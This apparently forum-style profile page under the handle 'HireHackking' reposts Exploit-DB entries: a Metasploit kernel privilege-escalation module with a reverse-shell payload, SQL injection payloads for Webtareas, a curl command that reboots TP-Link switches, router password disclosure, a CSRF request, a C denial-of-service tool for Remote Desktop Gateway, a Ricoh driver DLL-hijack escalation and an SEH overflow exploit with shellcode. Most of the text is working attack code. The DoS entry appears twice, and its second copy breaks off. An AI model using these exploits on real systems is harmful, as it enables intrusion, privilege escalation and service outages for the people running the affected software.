
Everything posted by HireHackking
-
Reliable Datagram Sockets (RDS) - rds_atomic_free_op NULL pointer dereference Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Compile include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a NULL pointer dereference in the `rds_atomic_free_op` function in the Reliable Datagram Sockets (RDS) kernel module (rds.ko). Successful exploitation requires the RDS kernel module to be loaded. If the RDS module is not blacklisted (default); then it will be loaded automatically. This exploit supports 64-bit Ubuntu Linux systems, including distributions based on Ubuntu, such as Linux Mint and Zorin OS. Target offsets are available for: Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic. This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various 4.4 and 4.8 kernels. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333) 'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213) 'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic 'bcoles', # Metasploit module and updated C exploit 'nstarke' # Additional kernel offsets ], 'DisclosureDate' => '2018-11-01', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2018-5333' ], [ 'CVE', '2019-9213' ], [ 'BID', '102510' ], [ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ], [ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_OS_DOWN ], }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def check arch = kernel_hardware unless arch.include? 'x86_64' return CheckCode::Safe("System architecture #{arch} is not supported") end vprint_good "System architecture #{arch} is supported" offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first kernels = offsets.scan(/"(.+?)"/).flatten version = "#{kernel_release} #{kernel_version.split(' ').first}" unless kernels.include? version return CheckCode::Safe("Linux kernel #{version} is not vulnerable") end vprint_good "Linux kernel #{version} is vulnerable" if smap_enabled? return CheckCode::Safe('SMAP is enabled') end vprint_good 'SMAP is not enabled' if lkrg_installed? return CheckCode::Safe('LKRG is installed') end vprint_good 'LKRG is not installed' if grsec_installed? return CheckCode::Safe('grsecurity is in use') end vprint_good 'grsecurity is not in use' unless kernel_modules.include? 'rds' vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation' return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation') end vprint_good 'rds.ko kernel module is loaded' CheckCode::Appears end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out') end register_file_for_cleanup exploit_path payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup payload_path # mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete timeout = 30 print_status "Launching exploit (timeout: #{timeout})..." output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout) output.each_line { |line| vprint_status line.chomp } end end
-
Webtareas 2.0 - 'id' SQL Injection
# Exploit Title: Webtareas 2.0 - 'id' SQL Injection # Date: 2020-01-23 # Exploit Author: Greg.Priest # Vendor Homepage: http://webtareas.sourceforge.net/general/home.php # Software Link: http://webtareas.sourceforge.net/general/home.php # Version: Webtareas v2.0 # Tested on: Windows # CVE : N/A Webtareas v2.0 authenticated Sql injection 0day Vulnerable Request: POST /webtareas/includes/general_serv.php HTTP/1.1 Host: 10.61.57.147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://10.61.57.147 Connection: close Referer: http://10.61.57.147/webtareas/general/home.php? Cookie: webTareasSID=npmmte1hejtnsi35mcqbc97gse action=cardview-actions&prefix=..%2F&object=projects&tblnam=projects&extra=&extpath=&id=1[Vulnerable parameter!]&defact=Y -------------------------------------------------------------------------------------------------------------------------- C:\Users\--------\Desktop\sqlmap>sqlmap.py -r webt01 ___ __H__ ___ ___[,]_____ ___ ___ {1.4.1.17#dev} |_ -| . [)] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 12:09:44 /2020-01-23/ [12:09:44] [INFO] parsing HTTP request from 'webt01' [12:09:45] [WARNING] provided value for parameter 'extra' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [12:09:45] [WARNING] provided value for parameter 'extpath' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [12:09:45] [INFO] resuming back-end DBMS 'mysql' [12:09:45] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=cardview-actions&prefix=../&object=projects&tblnam=projects&extra=&extpath=&id=1' AND 4597=4597 AND 'yvIt'='yvIt&defact=Y Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=cardview-actions&prefix=../&object=projects&tblnam=projects&extra=&extpath=&id=1' AND (SELECT 4838 FROM (SELECT(SLEEP(5)))WYXW) AND 'lBki'='lBki&defact=Y --- [12:09:45] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.41, PHP 7.3.13 back-end DBMS: MySQL >= 5.0.12 [12:09:45] [INFO] fetched data logged to text files under 'C:\Users\--------\AppData\Local\sqlmap\output\10.61.57.147' [*] ending @ 12:09:45 /2020-01-23/ https://github.com/Gr3gPr1est/BugReport/blob/master/WebTareas2.0_Authenticated_SQLinjection_0day.pdf
-
TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot # Date: 2020-01-20 # Exploit Author: PCEumel # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware # Version: TP-Link TP-SG105E V4 # Tested on: TP-SG105E V4 1.0.0 Build 20181120 # Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip # CVE : CVE-2019-16893 # TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot # The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch". # It features a web front end and an application (Easy Smart Configuration Utility) # for easy configuration management. # The device does not properly restrict access to an internal API. # It is therefore possible to remotely reboot the device by sending a HTTP POST # request. --- # POC : curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi --- Timeline : 2019-09-16 | Vendor notified 2019-09-25 | Reply (they will patch it) 2019-12-24 | First patch for testing 2019-12-19 | Confirmed the functionality of the patch 2020-01-14 | Public patch available
-
Genexis Platinum-4410 2.1 - Authentication Bypass
# Exploit Title: Genexis Platinum-4410 2.1 - Authentication Bypass # Date: 20220-01-08 # Exploit Author: Husinul Sanub # Author Contact: https://www.linkedin.com/in/husinul-sanub-658239106/ # Vulnerable Product: Genexis Platinum-4410 v2.1 Home Gateway Router https://genexis.co.in/product/ont/ # Firmware version: P4410-V2–1.28 # Vendor Homepage: https://genexis.co.in/ # Reference: https://medium.com/@husinulzsanub/exploiting-router-authentication-through-web-interface-68660c708206 # CVE: CVE-2020-6170 Vulnerability Details ====================== Genexis Platinum-4410 v2.1 Home Gateway Router discloses passwords of each users(Admin,GENEXIS,user3) in plain text behind login page source “http://192.168.1.1/cgi-bin/index2.asp". This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, changing passwords, upload malicious firmware etc. How to reproduce =================== Suppose 192.168.1.1 is the router IP and check view page source of login page “http://192.168.1.1/cgi-bin/index2.asp",There we can found passwords for each login accounts in clear text. POC ========= * https://youtu.be/IO_Ez4XH-0Y
-
OLK Web Store 2020 - Cross-Site Request Forgery
# Exploit Title: OLK Web Store 2020 - Cross-Site Request Forgery # Google Dork: intext:"TopManage ® 2002 - 2020" # Date: 2020-01-13 # Exploit Author: Joel Aviad Ossi # Vendor Homepage: http://www.topmanage.com/ # Software Link: http://www.topmanage.com/microsites/olk-web-store/ # Version: 2020 # Tested on: N/A # CVE : N/A # Reference: https://websec.nl/news.php POST /olk/client/login.asp HTTP/1.1 Host: examplesite.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 88 Origin: https://examplesite.com Connection: close Referer: https://examplesite.com/olk/client/login.asp?se=Y Cookie: myLng=en; ASPSESSIONIDCGARQSCD=JGFFLBIAAKGBKANKLAPHMEDH Upgrade-Insecure-Requests: 1 dbID=0&UserName=%22%3EPOC&Password=%22%3ECSRF&newLng=en&btnEnter=Enter&sHeight=400&other=
-
Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)
#include "BlueGate.h" /* EDB Note: - Download (Source) ~ - Download (Binary) ~ */ void error(const char* msg) { printf("ERROR: %s\n", msg); exit(EXIT_FAILURE); } void SOCKInit() { WSADATA wsaData; int res; res = WSAStartup(MAKEWORD(2, 2), &wsaData); if (res != 0) error("WSAStartup failed"); } void DTLSInit() { SSL_library_init(); SSL_load_error_strings(); ERR_load_BIO_strings(); OpenSSL_add_all_algorithms(); } int OpenUDPConnection(const char* hostname, int port) { int sockfd; sockaddr_in addr; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) error("Failed to open socket"); addr.sin_family = AF_INET; addr.sin_port = htons(port); inet_pton(AF_INET, hostname, &(addr.sin_addr)); if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0) { closesocket(sockfd); error("Failed to connect socket"); } return sockfd; } SSL* DTLSConnection(const char* hostname) { int sockfd; int result; DTLSParams client; sockfd = OpenUDPConnection(hostname, 3391); client.ctx = SSL_CTX_new(DTLS_client_method()); client.bio = BIO_new_ssl_connect(client.ctx); BIO_set_conn_hostname(client.bio, hostname); BIO_get_ssl(client.bio, &(client.ssl)); SSL_set_connect_state(client.ssl); SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY); SSL_set_fd(client.ssl, sockfd); if (SSL_connect(client.ssl) != 1) { return NULL; } return client.ssl; } int send_dos_packet(SSL* ssl, int id) { CONNECT_PKT_FRAGMENT packet; packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT; packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER); packet.usFragmentID = id; packet.usNoOfFragments = id; packet.cbFragmentLength = 1000; memset(packet.fragment, 0x41, 1000); char pkt[sizeof(packet)]; memcpy(&pkt, &packet, sizeof(packet)); return SSL_write(ssl, pkt, sizeof(pkt)); } int main(int argc, char* argv[]) { SSL* ssl; int i = 0; char* hostname; if (argc != 2) { printf("Usage: %s <IP address>\n", argv[0]); return 0; } hostname = argv[1]; SOCKInit(); DTLSInit(); while (i++ > -1) { ssl = DTLSConnection(hostname); if (ssl == NULL) { break; } for (int n = 0; n < 4; n++) { send_dos_packet(ssl, i+n); printf("Sending packet [%u]\n", i + n); } i++; } return 0; }
-
Ricoh Printer Drivers - Local Privilege Escalation
/* This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites a DLL file before the library is loaded (CVE-2019-19363). Written by Pentagrid AG, 2019. Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/ Credits: Alexander Pudwill This proof of concept code is based on the ReadDirectoryChangesW API call to get notified about changes on files and directories and reuses parts from the example from https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html */ #include <stdio.h> #include <stdlib.h> #include <conio.h> #include <windows.h> #define MAX_BUFFER 4096 int change_counter = 0; const WCHAR * const BaseDirName = L"C:\\ProgramData"; const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName; DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_CREATION; typedef struct _DIRECTORY_INFO { HANDLE hDir; TCHAR lpszDirName[MAX_PATH]; CHAR lpBuffer[MAX_BUFFER]; DWORD dwBufLength; OVERLAPPED Overlapped; } DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO; DIRECTORY_INFO DirInfo; void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) { DWORD numBytes, cbOffset; LPDIRECTORY_INFO di; LPOVERLAPPED lpOverlapped; PFILE_NOTIFY_INFORMATION fni; WCHAR FileName[MAX_PATH]; do { GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE); if (di) { fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer; do { cbOffset = fni->NextEntryOffset; // get filename size_t num_elem = fni->FileNameLength / sizeof(WCHAR); if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0; wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem); FileName[num_elem] = '\0'; wprintf(L"+ Event for %s [%d]\n", FileName, change_counter); if (fni->Action == FILE_ACTION_MODIFIED) { if (!wcscmp(FileName, TargetDLLRelFilePath)) { if (change_counter > 0) change_counter--; if (change_counter == 0) { change_counter--; if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE)) wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath); else { wchar_t buf[256]; FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, (sizeof(buf) / sizeof(wchar_t)), NULL); wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf); } exit(1); } // end of trigger part } } // eo action mod fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset); } while (cbOffset); // Reissue the watch command ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL); } } while (di); } void WINAPI InstallPrinter() { WCHAR cmd_buf[1000]; swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName); wprintf(L"+ Adding printer: %s\n", cmd_buf); unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE); if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value. wprintf(L"+ Failed launching command. Return value is %d\n", ret); } void WINAPI WatchDirectories(HANDLE hCompPort) { DWORD tid; HANDLE hThread; ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL); // Create a thread to sit on the directory changes hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid); // Just loop and wait for the user to quit InstallPrinter(); while (_getch() != 'q'); // The user has quit - clean up PostQueuedCompletionStatus(hCompPort, 0, 0, NULL); // Wait for the Directory thread to finish before exiting WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } int wmain(int argc, WCHAR *argv[]) { HANDLE hCompPort = NULL; // Handle To a Completion Port if (argc == 6) { PrinterName = argv[1]; TargetDllFullFilePath = argv[2]; TargetDLLRelFilePath = argv[3]; MaliciousLibraryFile = argv[4]; change_counter = _wtoi(argv[5]); } else { wprintf(L"+ Usage: %s <printer_name> <fullpath_monitor_dll> <rel_path_monitor_dll> <new_dll> <counter>\n", argv[0]); return 0; } wprintf(L"+ Monitoring directory %s\n", BaseDirName); // Get a handle to the directory DirInfo.hDir = CreateFile(BaseDirName, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); if (DirInfo.hDir == INVALID_HANDLE_VALUE) { wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n", BaseDirName, GetLastError()); return 0; } lstrcpy(DirInfo.lpszDirName, BaseDirName); if (HANDLE hFile = CreateFile(TargetDllFullFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) { wprintf(L"+ File %s created\n", TargetDllFullFilePath); CloseHandle(hFile); } else wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath); if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) { wprintf(L"+ CreateIoCompletionPort() failed.\n"); return 0; } wprintf(L"+ Press <q> to exit\n"); // Start watching WatchDirectories(hCompPort); CloseHandle(DirInfo.hDir); CloseHandle(hCompPort); return 1; }
-
Torrent 3GP Converter 1.51 - Stack Overflow (SEH)
# Exploit Title: Torrent 3GP Converter 1.51 - Stack Overflow (SEH) # Exploit Author: boku # Date: 2020-01-24 # Software Vendor: torrentrockyou # Vendor Homepage: http://www.torrentrockyou.com # Software Link: http://www.torrentrockyou.com/download/tr3gpconverter.exe # Version: Torrent 3GP Converter Version 1.51 Build 116 # Tested On: Windows 10 Home (x86) 10.0.18363 Build 18363 # Tested On: Windows 10 Education (x86) 10.0.18363 Build 18363 # Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363 # Recreate: # 1) Download, install, and open Torrent 3GP Converter 1.51 Build 116 for windows x86 # 2) run python script & open created 'crash.txt' file # 3) select-all > copy-all # 4) in app, click 'Register' on the bottom # 5) in 'Name:' textbox enter 'a' # 6) in 'Code:' textbox paste buffer # 7) click 'OK', calculator will open & app will crash #!/usr/bin/python # Bad Chars # \x00 => \x20 # \x0d Truncates buffer # \x2d Gets ejected from buffer # \x61-\x6f => \x41-\x4f / ASCII Lower => ASCII Upper # \x70-\x7a => \x50-\x5a / ASCII Lower => ASCII Upper # \x9a => \x8a # \x9c => \x8c # \x9e => \x8e # \xe0-\xef => \xc0-\xcf # \xf0-\xf6 => \xd0-\xd6 # \xf8-\xfe => \xd8-\xde # \xff => \x9f # badChars='\x00\x0d\x2d\x61\x62\x63\64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x9a\x9c\x9e\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xee\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' # Max shellcode size is 2384 bytes # - First 2384 bytes of our buffer is left unmangled on the stack # msfvenom -p windows/exec CMD='calc' -e x86/alpha_upper --format python -v shellcode # x86/alpha_upper chosen with final size 447 # Payload size: 447 bytes ## msfvenom x86/alpha_uppers GetPC Routine ## # [!] Does not work because of the bad chars! # Manually replaced with a working version of GetPC for this exploit # 89E5 mov ebp, esp shellcode = b'\x54\x5D' # push esp # pop ebp # DBCD fcmovne st, st(5) shellcode += b'\x89\xCF' # mov edi, ecx # D975 F4 fstenv [ebp-C] shellcode += b'\x47\x47\x90' # inc edi # inc edi # nop # 5F pop edi shellcode += b'\x90' # nop shellcode += b"\x57\x59\x49" shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a" shellcode += b"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30" shellcode += b"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41" shellcode += b"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42" shellcode += b"\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" shellcode += b"\x49\x4b\x4c\x5a\x48\x4d\x52\x55\x50\x55\x50" shellcode += b"\x33\x30\x43\x50\x4b\x39\x4b\x55\x46\x51\x59" shellcode += b"\x50\x42\x44\x4c\x4b\x30\x50\x36\x50\x4c\x4b" shellcode += b"\x56\x32\x34\x4c\x4c\x4b\x56\x32\x42\x34\x4c" shellcode += b"\x4b\x34\x32\x31\x38\x34\x4f\x4e\x57\x50\x4a" shellcode += b"\x37\x56\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x35" shellcode += b"\x31\x43\x4c\x34\x42\x56\x4c\x47\x50\x39\x51" shellcode += b"\x58\x4f\x34\x4d\x45\x51\x59\x57\x4a\x42\x4a" shellcode += b"\x52\x46\x32\x56\x37\x4c\x4b\x31\x42\x44\x50" shellcode += b"\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x50\x4c\x42" shellcode += b"\x31\x33\x48\x4b\x53\x51\x58\x45\x51\x4e\x31" shellcode += b"\x30\x51\x4c\x4b\x31\x49\x51\x30\x55\x51\x59" shellcode += b"\x43\x4c\x4b\x30\x49\x42\x38\x4b\x53\x37\x4a" shellcode += b"\x57\x39\x4c\x4b\x47\x44\x4c\x4b\x53\x31\x59" shellcode += b"\x46\x46\x51\x4b\x4f\x4e\x4c\x39\x51\x38\x4f" shellcode += b"\x34\x4d\x35\x51\x4f\x37\x57\x48\x4d\x30\x53" shellcode += b"\x45\x4c\x36\x45\x53\x53\x4d\x4a\x58\x37\x4b" shellcode += b"\x43\x4d\x46\x44\x33\x45\x4a\x44\x56\x38\x4c" shellcode += b"\x4b\x36\x38\x47\x54\x45\x51\x38\x53\x32\x46" shellcode += b"\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x50\x58\x45" shellcode += b"\x4c\x53\x31\x59\x43\x4c\x4b\x45\x54\x4c\x4b" shellcode += b"\x33\x31\x38\x50\x4d\x59\x57\x34\x57\x54\x36" shellcode += b"\x44\x31\x4b\x51\x4b\x33\x51\x36\x39\x31\x4a" shellcode += b"\x50\x51\x4b\x4f\x4d\x30\x51\x4f\x31\x4f\x50" shellcode += b"\x5a\x4c\x4b\x45\x42\x5a\x4b\x4c\x4d\x51\x4d" shellcode += b"\x52\x4a\x35\x51\x4c\x4d\x4c\x45\x48\x32\x35" shellcode += b"\x50\x43\x30\x33\x30\x46\x30\x43\x58\x46\x51" shellcode += b"\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f" shellcode += b"\x4b\x5a\x50\x38\x35\x39\x32\x31\x46\x53\x58" shellcode += b"\x4e\x46\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x58" shellcode += b"\x55\x47\x4c\x35\x56\x43\x4c\x35\x5a\x4b\x30" shellcode += b"\x4b\x4b\x4d\x30\x42\x55\x44\x45\x4f\x4b\x37" shellcode += b"\x37\x45\x43\x54\x32\x32\x4f\x42\x4a\x55\x50" shellcode += b"\x36\x33\x4b\x4f\x58\x55\x45\x33\x55\x31\x32" shellcode += b"\x4c\x43\x53\x35\x50\x41\x41" # Stack EggHunter for fun & profit egg = 'BOKU' hunterOS = '\x41'*(2784-len(egg+egg+shellcode)) # After executing the code in nSEH, we are left with 88 bytes to create our Hunter hunter = '\x4C'*4 # dec esp * 4 / avoid sub bad char / topOfStack=GetPC hunter += '\x5B' # pop ebx / EBX=PC hunter += '\x80\x43\x29\x20' # add byte [ebx+41], 0x20 / 20+55=7F=jnz hunter += '\x80\x43\x33\x20' # add byte [ebx+51], 0x20 / 20+55=7F=jnz hunter += '\xB8\x42\x4F\x4B\x55' # mov eax,0x424f4b55 hunter += '\x54' # push esp hunter += '\x59' # pop ecx hunter += '\x90'*18 # nop fillers for jnz short -7 loop hunter += '\x49' # dec ecx hunter += '\x3B\x01' # cmp eax, [ecx] hunter += '\x55\xF7' # 75F7 = jnz short -7 / Have to avoid bad \xF- chars hunter += '\x51' # push ecx hunter += '\x5a' # pop edx hunter += '\x4a'*4 # dec edx * 4 / check if second egg matchs hunter += '\x3B\x02' # cmp eax, [edx] hunter += '\x55\xDF' # jnz short -31 / back to the loop - avoid bad chars hunter += '\x83\xc1\04' # add ecx, 0x4 / start of shellcode after eggs hunter += '\x31\xd2' # xor edx,edx hunter += '\x52' # push edx hunter += '\xC6\x44\x24\x02\x4B' # mov byte [esp+0x2],0x4b hunter += '\xC6\x44\x24\x01\x44' # mov byte [esp+0x1],0x44 hunter += '\xC6\x04\x24\x39' # mov byte [esp],0x39 # [ESP]=0x004b4439 : call ecx | startnull,asciiprint,ascii,alphanum,uppernum {PAGE_EXECUTE_READWRITE} [bsvideoconverter.exe] # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.2.8.1 (C:\Program Files\Torrent 3GP Converter\bsvideoconverter.exe) hunter += '\xc3' # ret huntRmdr = '\x41'*(88-len(hunter)) nsehOS = '\x90'*(4500-len(egg+egg+shellcode+hunterOS+hunter+huntRmdr)) nSEH = '\x83\xC4\x04\xC3' # add esp,byte +0x4 # ret # 3-byte SEH overwrite using the truncating Null byte SEH = '\x0f\x47\x4c' # 0x004c470f : pop esi # pop ebx # ret [bsvideoconverter.exe] # ASLR: False, Rebase: False, SafeSEH: False {PAGE_EXECUTE_READWRITE} payload = egg+egg+shellcode+hunterOS+hunter+huntRmdr+nsehOS+nSEH+SEH try: f=open("crash.txt","w") print("[+] Creating %s bytes evil payload." %len(payload)) f.write(payload) f.close() print("[+] File created!") except: print("File cannot be created.")
-
Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)
#include "BlueGate.h" /* EDB Note: - Download (Binary) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-1.exe - Download (Source) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-2.zip */ void error(const char* msg) { printf("ERROR: %s\n", msg); exit(EXIT_FAILURE); } void SOCKInit() { WSADATA wsaData; int res; res = WSAStartup(MAKEWORD(2, 2), &wsaData); if (res != 0) error("WSAStartup failed"); } void DTLSInit() { SSL_library_init(); SSL_load_error_strings(); ERR_load_BIO_strings(); OpenSSL_add_all_algorithms(); } int OpenUDPConnection(const char* hostname, int port) { int sockfd; sockaddr_in addr; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) error("Failed to open socket"); addr.sin_family = AF_INET; addr.sin_port = htons(port); inet_pton(AF_INET, hostname, &(addr.sin_addr)); if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0) { closesocket(sockfd); error("Failed to connect socket"); } return sockfd; } SSL* DTLSConnection(const char* hostname) { int sockfd; int result; DTLSParams client; sockfd = OpenUDPConnection(hostname, 3391); client.ctx = 